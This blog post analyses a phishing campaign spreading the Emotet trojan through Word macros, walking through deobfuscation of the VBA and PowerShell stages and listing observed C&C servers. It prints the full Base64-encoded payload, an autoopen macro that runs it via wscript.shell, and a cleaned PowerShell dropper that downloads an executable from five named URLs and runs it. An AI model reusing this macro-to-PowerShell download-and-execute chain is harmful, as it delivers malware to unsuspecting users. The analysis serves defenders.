We analyzed a recent wave of phishing mails trying to spread the Emotet banking trojan via malicious Word documents. This post provides details of the obfuscation methods used in the VBA macro and the PowerShell script contained within the Word documents.
Contents
1. Introduction
To be infected, four user interactions are required: Open the email, click the link contained within, open the Word document that is downloaded and then enable the execution of macros:

The macro then proceeds to execute a PowerShell script which in turn downloads and executes the Emotet trojan.
The phishing mails do not use a fake sender, instead they spoof the display name. The display name is set to a (valid) email address: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>
The email text purports to contain an important invoice, provided as a link. Clicking the link downloads a .doc Microsoft Word file. The linked domains seem to be websites with hacked CMS software. The Word document uses a standard phishing trick: It claims it is “protected” and requests the user to activate macros to be able to see the document contents:

2. Deobfuscating the VBA Macro
We extracted the VBA code of the macro using oledump.py:
See all of the code here.
| |
Of the 152 lines of code, only a few have an actual purpose — the rest is just there for misdirection. Most of the code’s functions actually never get called.
A good start is to look for the autoopen() function which gets executed when the document is opened:
Sub autoopen()
VKbZcLUg
End Sub
This points us to the VKbZcLUg() function. It contains loads of useless code such as:
YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
These are pointless comparison operations. A variable x gets set to true or false depending on whether a + b is equal to c or not:
x = a + b = c
All those lines are irrelevant and can be skipped.
Lines with function calls in brackets need a closer look:
ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
The yKvCXNf() function keeps getting called with different arguments. This function contains more comparison operations as a distraction and one line of actually useful code:
Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
This line looks up and returns custom document properties set for the Word document, based on the parameter given to it. We take a look at the custom document properties and see they contain string parts for the strings "powershell" and "wscript.shell":

Getting back to the main VKbZcLUg() function, there are two lines of code doing the actual work. They can be recognized by the strings ActiveDocument.BuiltInDocumentProperties("Comments") and CreateObject(DEBAKSwY).Run:
mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
Plenty of string concatenation is taking place, with undefined variables that can all be ignored. The actual string comes from the document’s comments field. Taking a look we find a long Base64-encoded string:

JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=
Time to put all our findings together! We have a CreateObject call which creates an object of the type “wscript.shell”. It then runs the shell command "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA=" with the complete Base64-encoded PowerShell script. This uses the handy PowerShell command line option -EncodedCommand or -e which accepts Base64-encoded commands.
Here’s the fully deobfuscated macro:
Sub autoopen()
f1
End Sub
Public Function f1()
x1 = "wscript.shell"
x2 = "powershell -e "
payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(x1).Run$ payload
End Function
3. Deobfuscating the PowerShell script
Decoding the Base64-string we got from the document’s comment field, we find some slightly obfuscated PowerShell code:
${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}"
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}
The code does some minor string trickery using PowerShell’s -f Format operator. It rearranges fragments of a string ('new-ob','t','jec') into the order provided by numbered placeholders ({0}{2}{1}). The rest is just fancy variable naming such as ${WsCRIpT}.
Re-arranging the strings and cleaning up the variable names we get:
$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
http://missbonniejane.com/H/,
http://daze.com.hk/yaeRXq/,
http://funkystudio.org/lEYJk/,
http://ardweb.pt/VWKngh/,
http://globalmatrixmarketing.com/HXApJj/
).Split(',');
$name = $random.Next(1,65536);
$path = $env:temp + '\' + $name + ".exe";
foreach($url in $urls){
try{
$webclient.DownloadFile($url.ToString, {path});
Start-Process ${path};
break;
}
catch{ write-host $_.Exception.Message; }
}
As we can see, the code downloads the trojan from five different URLs, saves it in the temp directory using a randomly generated numerical name, and then executes it.
4. Running the Emotet Trojan
We run the trojan in a custom VM without a network adapter and a fake network provided by Fakenet-NG. Sniffing the network traffic of the trojan, we can see periodic HTTP POSTS with encrypted data to a rotating list of C&C servers:

We let the trojan run for a while to get the following full list of servers:
| IP | Port | Network | Location |
|---|---|---|---|
| 173.212.227.54 | 443 | AS51167 Contabo GmbH | Germany |
| 104.236.252.178 | 8080 | AS62567 DigitalOcean, LLC | Clifton, NJ, USA |
| 162.243.159.58 | 443 | AS14061 DigitalOcean, LLC | San Francisco, CA, USA |
| 45.33.55.157 | 8080 | AS63949 Linode, LLC | Fremont, CA, USA |
| 77.244.245.37 | 7080 | AS47692 Nessus GmbH | Vienna, Austria |
| 192.81.212.79 | 443 | AS62567 DigitalOcean, LLC | North Bergen, NJ, USA |
| 173.212.192.45 | 443 | AS51167 Contabo GmbH | Germany |
| 103.16.131.20 | 8080 | AS133159 Mammoth Media Pty Ltd | Australia |
Read about other interesting topics on our blog.